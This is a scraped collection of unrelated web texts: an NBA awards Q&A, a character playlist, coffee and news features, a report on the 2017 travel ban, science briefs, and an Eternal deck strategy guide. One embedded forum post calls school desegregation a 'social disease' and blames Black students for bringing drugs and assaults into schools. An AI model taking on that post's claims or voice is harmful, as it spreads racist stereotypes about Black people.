You mean Russell Westbrook could average a triple-double and not win the MVP?
It seems very possible. Did you know that when Oscar Robertson averaged a triple-double in 1961-62, he finished third in the MVP voting? Wilt Chamberlain, who averaged 50.4 points, 25.7 rebounds and 48.5 minutes a game (there's a record that won't be broken), finished second. Bill Russell won the award, and it wasn't close. He received 51 of the possible 85 votes. Sometimes the competition is simply that tough.
Could there be a tie?
It's possible but unlikely. The system in place makes it difficult to have an exact tie. However, it is possible for a player to get the most first-place votes and not win when there are a lot of candidates. That happened in 1990, when Charles Barkley got 11 more first-place votes than winner Magic Johnson in a field in which seven players got at least one first-place vote (Johnson, Barkley, Michael Jordan, Karl Malone, Patrick Ewing, David Robinson and Hakeem Olajuwon).
Russell Westbrook is averaging a triple-double but might not beat James Harden for MVP. AP Photo/Michael Wyke
Is there anything at stake for Westbrook and Harden?
Other than pride, history, a cool trophy and a chance to make a really important speech? Winning the MVP would qualify both to sign huge new extensions this summer, Westbrook adding $200 million to his deal and Harden $170 million to his. But there are other ways to qualify for this so-called "designated player extension" and they probably will get it either way.
So the MVP is tough for a change. Is that the only reason there's been so much talk about the awards ballot?
No. Rookie of the Year is going to be a challenge because the clear best rook, Philadelphia's Joel Embiid, played only 31 games. There's no precedent for someone playing less than half a season and winning an annual award. There are some other candidates, teammate Dario Saric and Bucks guard Malcolm Brogdon, but neither are having the type of season that Embiid was having before his injury.
Coach of the Year might be a split vote, especially if Erik Spoelstra can guide the injury-plagued Miami Heat into the playoffs to rival the job Mike D'Antoni has done in Houston. There's a case to be made for several players for Most Improved Player, too, from Antetokounmpo to Devin Booker to Otto Porter. But the All-NBA team -- that's where the stakes are really high.
Why the All-NBA team?
There's a new rule in the collective bargaining agreement that was just passed. If a player is voted to the All-NBA team and has eight or nine years of experience, then he qualifies for a special exception to sign a massive contract with his team for about $75 million more than any other team can pay him. A player also qualifies if he wins MVP or Defensive Player of the Year. But in that case, the player would probably already be on the All-NBA team.
That doesn't seem as if it would affect that many players, right?
That's true. It doesn't apply to many players. But the ones it does apply to could have a big impact on the league. This year, for example, if either Paul George or Gordon Hayward makes one of the three All-NBA teams, that would give his team an overwhelming advantage in re-signing him long-term.
It would make George eligible to sign a $200 million extension with the Pacers this summer. That's $75 million more than if he were to become a free agent in 2018 and sign somewhere else, such as with the Lakers. If he doesn't make the All-NBA team, and the Pacers lose this advantage, it is unlikely that he will sign an extension this summer, and that will apply pressure on the Pacers to trade him. This is a big vote -- one that George believes should go his way.
Hayward is a free agent this summer and has only seven years of experience, so he couldn't get the payoff now. But he could exercise his contract option for next season and then he could sign an extension beginning with the 2018-19 season that could become the largest contract in NBA history if the Jazz were willing to offer it, something in the range of six years and $230 million.
When Durant went down because of an injury and missed a large chunk of the season, it made voting for All-NBA forwards much more interesting. Also, it's unclear if Anthony Davis will be viewed as a forward or a center. These have possibly opened the door for Hayward and George. Possibly.
The long-term outlooks for Indiana and Utah could depend on award votes for Paul George and Gordon Hayward, respectively. Brian Spurlock/USA TODAY Sports
Why does the media have this power?
It's the best solution the league has come up with. All-Star voting has shown that fans can't really be trusted, partially because the voting systems can be manipulated. All-Star voting this year involved players, and turnout was low, and there were plenty of joke votes, which showed that many didn't seem to take it seriously.
Players used to vote for official awards, but it became a popularity contest at times. One of the most controversial MVP votes came in 1975, when Bob McAdoo won. McAdoo had a great season, winning the scoring title, but Rick Barry had one of the finest seasons of his career for the eventual champion Warriors yet finished fourth in MVP voting. Barry wasn't popular among many of his peers, and it's believed that played a factor. That variable affecting so much money is potentially problematic.
The media already had quite a bit of power with these votes with the previous CBA. The All-NBA team was a component that determined whether certain players hit escalator clauses in their contracts. Last year, for example, Anthony Davis stood to receive a $24 million contract bonus if he made the All-NBA team. But he got hurt late in the season and finished three positions out of the last spot.
Which media get to vote?
For years there were about 125 voters per award, each voting pool slightly different, mostly from local media members in each city. This year the pool has been adjusted to the same 100 voters for each award with the majority being national writers and broadcasters.
When will the awards be announced?
For years the awards were announced throughout the playoffs and arranged so players can accept them on their home floor. But this year for the first time all the awards will be given during a special awards show on TNT. It will be the week after the draft -- Monday, June 26, in New York.Last year, our Critical Role cast shared the songs that inspire their characters. A year has passed, and a lot has happened to our heroes. Vox’Machina wants to share brand new playlists that reflect on where they are today. First up is Vax’ildan with a few words from Liam himself. You can check out Vax’s playlist from last year here. Enjoy.
Liam O’Brien – Vax’ildan’s Playlist 2016
ALL MINE — Portishead
The Raven Queen flipped everything on its head.
GOING DOWN — Ani Difranco
Dragons destroying everything. Sister’s life dependent on an unintended bargain. Faith totally inverted. Love pushed further away. And hard times away from the table.
MISS MACBETH — Elvis Costello
There have been so many different opinions about the Raven Queen, both in Vox Machina, and the audience, I was reminded of this Costello song I’ve always loved. He was writing about an old woman in a town everyone thinks is a witch. The rumors and the reality all knotted together, impossible to be separated.
BREATHE ME — Sia
Showing up at her door. Looking for comfort, or reassurance. Bad to worse.
BIRD SET FREE — Sia
Born again, from the belly of the beast.
TEAR IN MY HEART — Twenty One Pilots
High five.
IT’S ONLY LIFE — The Shins
Vex.
Don’t Tread on Me — Kai Straw
After a month of scraping the bottom, Vax gets up.
Second Chances — Gregory Alan Isakov
Families can be complicated.
THE OTHERSIDE — The Roots
A new battle anthem for Vox Machina. Battered and bloody, and worn down from the road. But not done.
SONS & DAUGHTERS — The Decemberists
At night, when Vax lays his head down to rest, he has started to foster the barest hint of hope for tomorrow. He almost believes it.
Featured image credit: Nick RoblesThe Spotnicks are an instrumental rock group from Sweden. Formed in 1961, they were well-known for their “space suit” costumes and their Ventures-esque electric guitar sound. The Spotnicks have released 42 albums and sold over 18 million records. They still tour.
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in Melbourne, Moylan says, there exists a “cafe culture.” Relationships are built around conversations over coffee. The espresso culture dates back a half-century or so. In May, Moylan and an old friend named Russell Spear opened up a coffee place called the Apollo Cafe in West Melbourne, a neighborhood near his home. Moylan said he had thought about opening a cafe for years.
“There’s a culture,” Moylan said. “It’s insane. You go 200 feet and there’s a cafe, a cafe, a cafe. It’s all really good coffee.”
Business is good so far, and he will return home to check on the progress of the place in the offseason. But for now, as the season rolls on, he’s instituting the cafe culture in the Royals’ clubhouse. He sought to start with espresso, a drink made with boiling water, pressure and finely ground coffee beans.
“You’ll never see this at Starbucks,” Moylan said, scrolling through photos of specialty drinks on his phone. “Because they don’t do it right. They don’t froth the milk properly.”
On his Instagram account, Royals relief pitcher Peter Moylan showed off the espresso machine he purchased for the team’s clubhouse. Screenshot
Moments later, Merrifield offered another review: “It’s not just the espresso,” he said. “It’s the special type of concoction.”
For now, Moylan has few holdouts inside the clubhouse. Kennedy, a veteran starter, considers himself a coffee connoisseur of sorts, but he prefers Pour Over coffee or French presses. He doesn’t do espresso. He’s found good coffee beans at The Roasterie in Kansas City, he says. He’ll spend time reading reviews of coffee machines online. He recently became intrigued by The Clover, a relatively new method for making coffee.
“If I find a Starbucks with a Clover machine, I’ll walk to it,” Kennedy said. “I do like coffee a lot. I don’t own a cafe. I haven’t gone that far.”
Another reluctant espresso drinker is Royals manager Ned Yost, who said he likes to limit his caffeine intake to a few cups of coffee in the morning or a quick run through Starbucks. Yost once famously gave his name as “Frank” at a Starbucks on the Country Club Plaza to avoid fans during his difficult early years at the helm. Now, he avoids coffee before games for a practical reason.
“I stay away from the coffee,” Yost said. “It gets me thrown out of games.”
Moylan, though, may have won over another convert in recent days: Center fielder Lorenzo Cain. On most afternoons, Cain limits his pregame routine to water and Red Bull. If he’s really dragging, he’ll drink a Red Bull and a cup of coffee. But not until recently did he try one of Moylan’s signature espresso drinks. It was Wednesday morning at AT&T Park in San Francisco. The Royals were in the midst of what would be a six-game winning streak. Cain loathes day games. So Moylan approached with a Sledge-iatto.
“He was like: ‘Hey, this espresso has got two hits in it,’” Cain said. “I ended up getting three knocks that day. I went three for four with a home run. So maybe there’s something to it.”[van id=”world/2017/01/28/iraq-released-jfk-airport-trump-executive-order.cnn”]
WASHINGTON — A federal judge granted an emergency stay Saturday night for citizens of seven Muslim-majority countries who have already arrived in the U.S. and those who are in transit, and who hold valid visas, ruling they can legally enter.
The rule was handed down by Judge Ann Donnelly of the U.S. District Court in New York in response to a lawsuit filed by the American Civil Liberties Union. Donnelly said the risk of injury to detainees was a factor in the decision.
The judge added those at risk of being detained most likely would be those who simply were traveling when the ban went into effect.
The decision halts part of President Donald Trump’s executive order, which barred citizens from those seven countries from entering the U.S. for the next 90 days.
This move comes after Trump’s seismic move to ban more than 130 million people from the United States and to deny entry to all refugees reverberated worldwide Saturday, as chaos and confusion rippled through U.S. law enforcement agencies, airports and foreign capitals trying to grasp the U.S.’s new policy.
At John F. Kennedy International Airport, where passengers can often spot the Statue of Liberty on their descent into New York, two Iraqis who had been granted visas to enter the U.S. were detained and prevented from exiting the airport.
Customs and Border Protection officials cited Trump’s new executive order, which bans citizens of Iraq and six other Muslim-majority countries — a total of at least 134 million people — from entering the U.S. for the next 90 days. It also suspends the admission of all refugees for 120 days.
One of the men, Hameed Khalid Darweesh, worked with the U.S. government for 10 years after the US invaded Iraq. He was released early Saturday afternoon due to provisions in Trump’s order that allow the secretaries of state and homeland security to admit individuals on a case-by-case basis.
The other man, Haider Sameer Abdulkaleq Alshawi, had been granted a visa to join his wife, who had worked for a U.S. contractor in Iraq, and son, both of whom already live in the U.S. as refugees.
It was not immediately clear how many other cases like Darweesh and Alshawi’s were cropping up at other U.S. airports, which appeared to have been blindsided by the new immigration rule that took effect immediately with Trump’s signature Friday afternoon.
Their attorneys filed a federal lawsuit Saturday morning challenging Trump’s executive order, likely just the first of many challenges in the legal fight many groups plan to wage to overturn Trump’s actions.
Trump on Friday said that his actions would “keep radical Islamic terrorists out of the United States of America.”
“We don’t want them here,” Trump said as he signed the order. “We want to ensure that we are not admitting into our country the very threats our soldiers are fighting overseas. We only want to admit those into our country who will support our country and love deeply our people.”
At the Cairo International Airport, Egyptian officials on Saturday began to turn back U.S.-bound refugees and citizens of the seven countries now barred from entering the U.S.
“This is a new era we are witnessing,” a Cairo airport official said.
Airlines, meanwhile, scrambled to understand the new US policy and worked to warn passengers who might be affected before they boarded their flights.
Qatar Airways posted a travel alert on its website warning nationals of Iraq, Syria, Iran, Libya, Somalia, Sudan and Yemen that they could not travel to the U.S. unless they are government officials, diplomats or representatives of international organizations.
The German airline Lufthansa said it was not yet “in the position to outline the effect” given the new US immigration rule had only just been announced.
Swift condemnation
Iran, one of the countries whose citizens were banned, slammed Trump’s immigration order on Saturday as an “insult” and a “gift to extremists,” and said it would swiftly reciprocate by banning US citizens from Iran.
“The U.S. decision to restrict travel for Muslims to the U.S., even if for a temporary period of three months, is an obvious insult to the Islamic world and in particular to the great nation of Iran,” Iran’s foreign ministry said in a statement Saturday.
“Despite the claims of combating terrorism and keeping American people safe, it will be recorded in history as a big gift to extremists and their supporters.”
The disarray also fell against a backdrop of swift condemnation from human rights groups and national security experts.
The International Rescue Committee, a humanitarian aid and refugee assistance group, called Trump’s decision to suspend refugee admissions “harmful and hasty” and noted that the U.S. refugee program “makes it harder to get to the United States as a refugee than any other route.”
Refugees must undergo an extensive vetting process — it typically takes more than two years to be admitted to the US as a refugee.
“In truth, refugees are fleeing terror — they are not terrorists,” David Miliband, the group’s president and CEO, said in a statement. “And at a time when there are more refugees than ever, America must remain true to its core values. America must remain a beacon of hope.”
The International Organization for Migration and UNHCR, the U.N. Refugee Agency, expressed concern about the provision in Trump’s executive order that would prioritize Christians fleeing persecution and conflict in Muslim-majority countries over Muslims fleeing those same countries.
“We strongly believe that refugees should receive equal treatment for protection and assistance, and opportunities for resettlement, regardless of their religion, nationality or race,” UNHCR and IOM said in a joint statement.
Abed Ayoub, the American-Arab Anti-Discrimination Committee’s legal and policy director, said Trump’s executive order has sown “complete chaos.”
Ayoub said his group has already fielded calls from people around the world impacted by Trump’s executive order, including from students and legal U.S. residents who are citizens of the seven countries banned by Trump and are now stuck overseas.
The executive order “is causing a really destructive impact on the Arab and Muslim community and on the Iranian community in the US,” Ayoub said.
Democrats also slammed Trump’s executive order, arguing his action establishing a religious test for entry is unconstitutional and un-American.
Just as they did during the campaign, national security experts also warned that Trump’s plans to deny refugees entry in the United States and target Muslims or Muslim-majority countries through an immigration ban would be counter-productive or ineffective methods of protecting the U.S. from future terrorist attacks.
“This banning of refugees is kind of a red herring,” national security analyst Peter Bergen said. “It’s not going to make any difference to the terrorism issue, which is overwhelmingly a United States problem.
“Because 9/11, of course, was carried out by 19 foreign-born Arab terrorists, I think we tend to conceive of this as a problem that comes from outside, when in fact, it’s really a problem that is internal to the United States right now.”
“It’s one of those things that sounds like it makes sense, but it doesn’t really when you look at the facts.”
House Speaker Paul Ryan on Friday, however, commended Trump for his executive order, noting, “Our No. 1 responsibility is to protect the homeland.”
“We are a compassionate nation, and I support the refugee resettlement program, but it’s time to reevaluate and strengthen the visa vetting process,” Ryan said. “President Trump is right to make sure we are doing everything possible to know exactly who is entering our country.”
More countries could be added to banned list
The Trump administration’s action also indefinitely suspended admissions for Syrian refugees. The order also called on the secretary of homeland security to conduct a 30-day review to determine whether additional countries should be added to the ban.
A senior White House official said the list of seven countries whose citizens are now banned from the US was likely just a starting point.
The official said the administration would be “very aggressive” as it weighs how many more countries to add to the list.
Asked what criteria the administration will consider as it looks to expand the ban, the official said the “mandate is to keep America safe.”
But if that is the goal, many national security experts questioned why Trump’s executive order focused on banning foreign nationals from the U.S.
Citizens and legal U.S. residents have carried out all deadly radical Islamist terrorist attacks in the U.S. since 9/11 — not by foreigners visiting the U.S. on a travel visa or by Syrian refugees.Girls have been doing better than boys in school for as long as they've been required to go.
New research published this week in the American Psychological Association's journal analyzed more than 500 data sets, both published and unpublished, on gender differences and academic achievement dating back 100 years. The two researchers, both from the University of New Brunswick, found a consistent pattern: girls have been getting better grades than boys since at least 1914 — before education was universal and compulsory in the United States. (The last state to pass a compulsory attendance law was Mississippi, in 1918.)
In many cases, the effects were small. But no study found that boys were getting better grades, and the sheer consistency makes the results important, the researchers wrote.
The gender gap has traditionally been larger in language classes. But even in math and science, teachers have been handing out better grades to girls for a century.
The researchers say the findings should cast doubt on whether boys' education is in "crisis" because girls are getting better grades in middle school — a conclusion that the think tank Third Way drew in a report this week that found girls were doing much better than boys in the eighth grade.
"Boys have been lagging for a long time and... this is a fairly stable phenomenon," the researchers wrote. "Accordingly, it might be more appropriate to claim that the boy crisis has been a long-standing issue."Dive Brief:
Researchers in Colorado have found a way to use wastewater from brewing beer to produce lithium ion battery electrodes.
The researchers say using brewery wastewater could provide a more efficient and potentially cheaper source or materials for electrode production.
The University of Colorado-Boulder researchers have filed a patent on the process and created Emergy, a Boulder-based company aimed at commercializing the technology.
Dive Insight:
Beer and science don’t always go together, but researchers at the University of Colorado-Boulder (UCB) have come up with a way to use the wastewater from beer to improve the cultivation of chemicals used in making lithium-ion battery components.
It takes about seven barrels of water to produce one barrel of beer, and brewers have to spend money to filter the wastewater before disposing it.
Other biological materials, such as timber, can be used to make carbon-based battery electrodes, but supplies are limited and the intrinsic chemistry can make the process expensive and difficult.
But by cultivating their feedstock in wastewater, the UCB researchers say they were able to better control the chemical and physical processes to create an efficient naturally derived lithium-ion battery electrode while cleaning the wastewater in the process.
The process produces a fast-growing fungus, Neurospora crassa, in the sugar-rich wastewater, which can be used to make anodes for lithium-ion batteries.
“The wastewater is ideal for our fungus to flourish in, so we are happy to take it,” Tyler Huggins, a graduate student in UCB’s Department of Civil, Environmental and Architectural Engineering and lead author of the study.
Huggins and co-author Justin Whiteley, also of UCB, hope to commercialize the process. “We see large potential for scaling because there’s nothing required in this process that isn’t already available,” said Huggins.
The group's study appears in the most recent issue of the journal Applied Materials and Interfaces.JFK816 Forum Member
Join Date: Mar 2003 Location: Cleveland Posts: 36
The Social Experiment Of School Desegregation Desegregation of Public Schools
The desegregation of the public school system in the 1970s has left an adverse impact on communities that is irreversible. The ideals of desegregation had good intent. Unfortunately, that good intent had major consequences. Segregation is a social issue, not a political issue. Once politics took over the task of desegregation, it broadened a serious social climate. Its human nature that blacks feel more comfortable living in a predominantly black community. The same goes for whites being more comfortable living in a predominantly white community. It is true that the two communities differed in economic development, crime, and wealth. Wealth is a by-product of hard work and pride, it is not a privilege. Pride in ones neighborhood is emulated through the upkeep and cleanliness that one can consider a community standard. The quality of education in the neighborhood schools is indicative of that community standard of pride. Neighborhoods had a special social balance that was as strong as the community itself. Unfortunately, the social chain is only as strong as the weakest link.
Politicians decided that the social differences between the two communities could be buffered by allowing each community to experience education outside of their own community balance. They idealized that an inner city student exposed to an upper class education would emulate that attitude to their community to strengthen the moral balance of that community, therefore increasing the quality of life to that community. They also idealized that a student from an upper class community would emulate their strong moral attitude to the lower class schools, therefore increasing the quality of life in the lower class communities.
What the politicians did not understand is that they have disrupted the social balance of the two communities, therefore disrupting the total social ecosystem of the entire city. Upper class white people did not feel comfortable with the fact that the city was introducing blacks to their community in bus loads. The blacks, although, figured that this was a positive step towards progress in their communities. Maybe, the presence of upper class white students in their schools would emulate a sort of community pride to their existing students. What happened was a social disaster that cannot be repaired at any cost.
Upper class white people fled their homes to the suburbs. They sold their properties at such a discount, it destroyed the property values of the surrounding homes. With property prices that low, it allowed the lower class blacks to purchase the properties. The social balance of whites living with whites and blacks living with blacks was now disrupted. Whites fled their neighborhoods with alarming speed. The quality teachers of the once upper class schools fled to suburban public or private schools. The upper class neighborhood was experiencing a change.
As opposed to increasing the quality of life and social structure in the lower class neighborhoods, the cities started a downward social trend in the whole city. Now the once upper class neighborhoods have declined to middle and lower class. The lower class students brought drugs, sexual assaults, and weapons into the once upper class schools. The term white flight is not an urban legend, it is reality. This social experiment created a terrible outlook to the future of the city.
This social disease is now spreading to bordering suburbs of the major cities. These suburbs are not willing or ready to watch their communities suffer the same consequences. They attempt to strictly enforce provisions that are not politically correct. Unfortunately, as the borders of the city become diseased, the whites flee their bordering suburban homes. These homes become subject to state funded assistance programs that the suburb cannot legally object to. Therefore, these homes become subject to the same lower class demise that their city neighbors have endured. Then, ultimately, it spreads to the public school system. One question I would like to ask is where is this going to end? It cannot end as long as there are politics that control our schools. The damage is done and there is nothing that can be done about it.
:copGoing Deep – Understanding Combrei Mirrors
Combrei has been one of the most consistent decks in Eternal. There has always been a contingent of dedicated players sporting ultra-expensive legendary heavy Combrei lists, although the nomenclature has become a soupy “midrange-ramp-control” nonsense. For our purposes, I’m just going to be calling it “Combrei”, although I know there are other Combrei decks, but they are not nearly as influential as the type of deck I am speaking about.
Today, I am going to be talking about the Combrei mirror in depth. Although many people moan about how boring they are and feel like they all come down to luck, I disagree completely. I love Combrei mirrors, and I win them much more often than I lose them. At the time of this article I am sitting at #1 on the ladder, and I got there in part from my skill in navigating Combrei mirrors. The purpose of this article is to help you tease apart what matters in Combrei mirrors, and how you can leverage this knowledge to maximize your ability to grind your opponent to a pulp.
First, lets start off by looking at my current decklist. I am not here to argue that this list is perfect in it’s current form, and it is certainly not specifically tuned for the mirror. This is an article about tactics and strategy in-game, rather than deck-building. I will also include some comments about other cards not played in my list common to other Combrei decks.
4 Desert Marshal (Set1 #332)
4 Secret Pages (Set1 #81)
4 Temple Scribe (Set0 #12)
3 Vanquish (Set1 #143)
4 Combrei Healer (Set1 #333)
4 Knight-Chancellor Siraf (Set1 #335)
3 Scorpion Wasp (Set1 #96)
4 Valkyrie Enforcer (Set1 #151)
4 Sandstorm Titan (Set1 #99)
2 The Great Parliament (Set1 #338)
4 Harsh Rule (Set1 #172)
4 Marshal Ironthorn (Set1 #174)
4 Mystic Ascendant (Set1 #116)
7 Justice Sigil (Set1 #126)
8 Time Sigil (Set1 #63)
4 Combrei Banner (Set1 #424)
4 Diplomatic Seal (Set1 #425)
4 Seat of Progress (Set0 #58)
Overview of the Match-up
The Combrei mirror is an attrition battle defined by board stalls, beefy units, big haymaker plays, and powerful activated abilities. However, most of these plays is an illusion. This is a match-up where it is all about getting the most out of limited resources, since a very small number of cards actually matter. A quote that is very relevant to understanding the match-up comes from Jon Finkel, the greatest MTG player of all time.
“Focus only on what matters.”
The other thing to remember is that this is not a match-up about trying to kill your opponent. Almost every card in both players decks promotes board stalls and inaction. If you spend resources trying to rush your opponent down with a 3-4-5 curve, you are more likely to be blown out by a Harsh Rule than to actually close out the game. It is possible to win this way, but your opponent basically has to be power-screwed or flooded. I constantly take wins off of people who are trying to be aggressive in the mirror. I promise you, this is not what the match-up is about. You should feel pretty comfortable using your life total as a resource in this matchup until you get to the 5-10 range. The sum total of the“reach” your opponent has available are ambush creatures, which don’t exactly pack a punch.
To begin with, let’s simplify our discussion by removing the cards that don’t matter in this matchup.
Cards that don’t (really) matter
Temple Scribe
Initiate of the Sands
Sarupod Wrangler
Amber Acolyte
Desert Marshall (after silence used)
Combrei Healer
Valkarie Enforcer (after silence used)
Siraf (after being silenced)
Dawnwalker
Marshall Ironthorne and Mystic Ascendent (after being silenced)
Predatory Carnasaur (after killer ability is used)
Sandstorm Titan
Ok, this is a long list. This includes all the cards commonly played in Combrei lists, and I have ordered the list roughly in the order of how irrelevant they are (top most irrelevant). I probably don’t need to convince you that Temple Scribe and Amber Acolyte don’t really matter. Their bodies just don’t hold their own in a matchup defined by big beefy monsters. Some of the others on this list may be less intuitive.
I hate Initiate of the Sands in Combrei decks. The card does almost nothing, and is especially embarrassing in the mirror. This is not a match-up determined by getting out to a slightly faster start than your opponent and running them over. As a best case scenario, she will get your Sandstorm Titan into play a turn before your opponent, allow you to get in a few points of damage, and then be totally invalidated for the remainder of the game. Not an outstanding performance, especially when you consider that the floor of this card is being silenced on turn 2, being a low impact top deck in the late game, or swept up incidentally by a Harsh Rule.
If you understand this argument, you will probably agree that Sarupod Wrangler has all the same issues. Combrei Healer is also unable to make much of a difference in most board states, although it has a couple niche applications. If you are off to a clunky start, you may want to promote a board stall and slow down the game. In that case using a second Healer to turn a first Healer into a 2/8 is great. It can’t be hit by any removal spell, and it blocks everything through the midgame. This is also a great way to get an opponent to overcommit to the board, which you can then just Harsh Rule away.
Valkyrie Enforcer is an interesting case. Although it may seem great to have a 3/3 flyer to peck in damage over a cluttered board, there is almost always a Sandstorm Titan on the board. While it is true that you can remedy this by silencing Titans, then you are using silence effects on cards that don’t really matter. Even if you do this, there is nothing stopping your opponent from grounding your Valkyrie with their own silence effect, or by playing a second Titan. I have played some games where the random 3/3 flyer has done serious work, but in most board states he is pretty useless.
Dawnwalker was once a mainstay of Combrei lists, but it has now fallen out of favor. There are a whole boatloads of reasons for this, and the Combrei mirror is an important one. Although Dawnwalkers may sound great in an attrition match-up, they are very juicy silence targets against an opponent with more silence effects than you have Dawnwalkers. It is nice to have Dawnwalkers “soak up” silence effects in order to protect your actual heavy hitters, but most people make space for Dawnwalkers by cutting the actual heavy hitters. The second issue with Dawnwalkers is how they are invalidated in most board stalls. They can’t even attack through 2/5s, let alone 5/6s. There are certain games where a recurring Dawnwalker will annoy an opponent, but they are rare in my experience.
The last category of “cards that don’t matter” are the big dummies without value-generating abilities. This may be the most controversial category of cards that don’t matter, so I will explain my thinking. Unless something strange is going on in the game, these random fatties will either be locked in an intractable board stall, killed with a removal spell, or trade off with one-another. These big idiots only really matter if they are generating you value through empower effects, so if they are silenced they become another hunk of meat caught in the intractable ground stall that defines the midgame. One of my most important realizations for the match-up was that Sandstorm Titan really doesn’t matter. In reality, he is by far the biggest culprit in generating the massive ground stalls that define the match-up. His 5/6 body is a massive stop-sign to all aggression, and given the lack of Fast removal, Sandstorm Titan is very happy to jump into double blocks. Given that one side of the battlefield almost always has a Sandstorm Titan in play, flying is basically irrelevant. Ultimately, he will either get swept up in a Harsh Rule, or sit around and watch as some other card does the heavy lifting. The only time I feel this card truly matters is after a Harsh Rule, as it puts pressure on the opponent to reload quickly. Most of the time he is just swallowed up in the staring contest that defines the Combrei midgame.
1-for-1 Removal and Silence
This is a match-up that is, in some respects, defined by limited access to removal spells. The board stalls occur as a result of an inability to clear out troublesome blockers. In stead, the board becomes a cluttered mess until someone uses a sweeper. My version of the deck plays 3 copies of Vanquish and Scorpion Wasp, which are basically your only real options for removal (I suppose you could play Auric Runehammer, but that sounds pretty bad). The best target for Vanquish is either a Marshall Ironthrone or a Mystic Ascendant, as these units generate enormous value if left unchecked. It also means you do not need to use a silence effect on them, which is a huge bonus. Scorpion Wasp is reasonable in the match up, especially against unsuspecting opponents. Attacking with Siraf into 3 open power is just a mistake, and I see people do it all the time. Obviously, there are some rare exceptions to this, but she is worth so much more than 3 damage. Wasp is one of the many cards in the match-up that punishes aggression, so be sure to limit your opponent’s opportunities to take advantage of cards like this.
One note you may find interesting: there are many reasons I am not crazy about Xenan Obelisk in Combrei, but one that may be underappreciated is the fact that it pushes Siraf into Vanquish range. As you will see later, Siraf is probably one of the most important cards in the match-up. Although there are obviously a ton of great Vanquish targets, Siraf is so much more important than practically anything else that you would rather she were less vulnerable.
In many respects, silence is very much like removal in this match up. Siraf post-silence isn’t exactly worth a card, and the same is true of many other cards. As you will see over the course of this article, that match up is in many respects defined by the incredible number of silence effects and silence targets on both sides of the field. In general, you want to save silence effects for their higher value targets (Siraf and Mystic Ascendant) while forcing them to use silence effects on your less valuable units (Marshall Ironthorne and Sandstorm Titan). Unless you are in a very particular situation where you can get across the finish line, don’t waste silence effects. It is often right in other match ups to run out silence creatures to put pressure on your opponent, but that is not true at all in the Combrei mirror.
Marshal Ironthorne
This gentleman is a very interesting component of the Combrei mirror. He is probably the least powerful of the game winning threats. Power advantage is huge in this match-up, but at the same time a power advantage will not win you the game on its own. There is a world of difference between 7 and 8 power, but the difference between 8 and anything beyond that is much less important (although not irrelevant). Although it is best to play Ironthorne plus power on turn 6 to get value, don’t worry about it too much. It is fine to just run it out on turn 5 to threaten having access to 7 power on the next turn. Ironthorne is too good to have sitting around, but is less powerful your other major threats, meaning your opponent will need to answer him, but you are fine when he is answered. You want him to eat a silence or Vanquish to clear the way for bigger threats. This doesn’t mean you shouldn’t respect him on the other side of the field, but your objective is to sweep him up in a Harsh Rule along with something else that is relevant. If you are flush with silence effects he is a very reasonable target, but don’t treat it as an emergency the turn he hits the battlefield. In general, I find people overvalue him slightly.
Edit: nkribit on Reddit points out that the value of Ironthorn goes up dramatically in the late game because of his ultimate which is a very real part of the match up. One tight line of play is when you are on 18 power and can play Ironthorne > Power > ultimate in 1 turn.
Mystic Ascendant
There was an interesting series of advancements made in Combrei decks that eventually led to Mystic Ascendant being a big player, such as dropping Dawnwalkers and Obelisks and instead including Harsh Rules. The most recent Combrei builds have gravitated towards playing only the most efficient threats that will take over the game on their own if left unanswered. Mystic Ascendant perfectly encapsulates this philosophy. If left unchecked, he will run away with the game from the perspective of both attrition and board advantage. The combo with Marshall Ironthorne (and Vodhakhan, for that matter) is a truly exceptional experience. One of the best aspects of Mystic is that he is still decent when silenced, as a 6/6 will brawl pretty effectively with most units in the mirror. With all that being said, you should really play Mystic with a power in the same turn. For this reason, it is often best to hold power in your hand and wait for Mystic. Often even holding multiple power is correct. The best possible answer to Mystic is Vanquish, as you get to save your silence effects for Siraf. That being said, if you don’t have Vanquish, you will need to silence it.
Harsh Rule
One of the major breakthroughs in building Combrei decks was including 4x Harsh Rule. Although it may seem unintuitive to jam sweepers into a unit based deck, the Rules are a spectacular addition. The rhythm of the games follows a very consistent trajectory. Stage 1 is developing power and some early durdles. Stage 2 is defined by big beefy units, which usually eat silence effects and stare at one another in an intractable board stall. Stage 3 is usually defined by either one player landing a threat (such as Siraf) that the opponent cannot answer, or someone casts Harsh Rule. The important question is when you should play Harsh Rule, and how you should play around it from your opponent.
Once you enter the midgame you need to continue asking yourself “what happens to this board if someone casts Harsh Rule?” You must remember that your objective is to battle for card advantage, specifically focusing on cards that matter. Obviously, if there is ever a board state where your opponent has played out multiple premium threats, and you have little invested into the board, you should cast Harsh Rule. If you have a Harsh Rule in hand, you should actually try and force your opponent to play into it, such as creating 2/8 Combrei Healers as mentioned above. This is where assessing the value of various cards becomes so important. Although using Harsh Rule against multiple 2 and 3 power creatures plus a Sandstorm Titan may sound like a reasonable exchange, it probably isn’t, while using a Harsh Rule on a single Siraf may be great.
One of the most important skills in the Combrei Mirror is identifying when one of the players doesn’t need to commit any more to the board. For example, once your opponent has an active Siraf in play with 8 power, they literally don’t need to commit a single additional card until Siraf is answered. If your opponent has any premium threat on the table, you should often just pull the trigger on Rule, as they are unlikely to commit another threat to the board. Why bother letting them build up a hand in the mean time?
In general, I think it is hard to give quick-and-dirty rules on when to play Harsh Rule. Although occasionally it is obvious, there are so many board states where it is a close call. Playing around Harsh Rule, setting up Harsh Rule, and timing Harsh Rule in Combrei mirrors is one of the most skill testing elements of Eternal in my opinion. Remember: focus only on what matters. If you are not getting a favorable trade in terms of cards that matter, you should probably hold your Harsh Rule.
Knight-Chancellor, Siraf
Here she is. The true queen of Eternal. I have been alluding to her constantly throughout this piece, but here she finally is. Siraf.
Siraf is BAE. In case you are not up on your slang, “BAE” originally stood for “Before All Else”. Although I often say “Siraf is Bae” as a term of affection, in this case I mean it literally. Siraf is, by far, the most important card in the match-up. I doubt I need to explain to anyone why she matters so much, as everyone has seen what she does. The real question then is not “why is Siraf good?” but rather “how do I best deploy her?”
To begin with the obvious, running Siraf out on turn 3 is almost never right. As we know by now, this is a match-up defined by tons of silence effects, and Harsh Rule. She doesn’t command enough of a board presence to even control the board. Obviously there are some game states where it is right to run her out in the midgame, but don’t have some illusion that a curve of Siraf into Sandstorm Titan is going to steal you the average game. Your objective through the mid game is to try and exchange resources in such a way that you clear the path for 1 game winning threat, which is most often a Siraf.
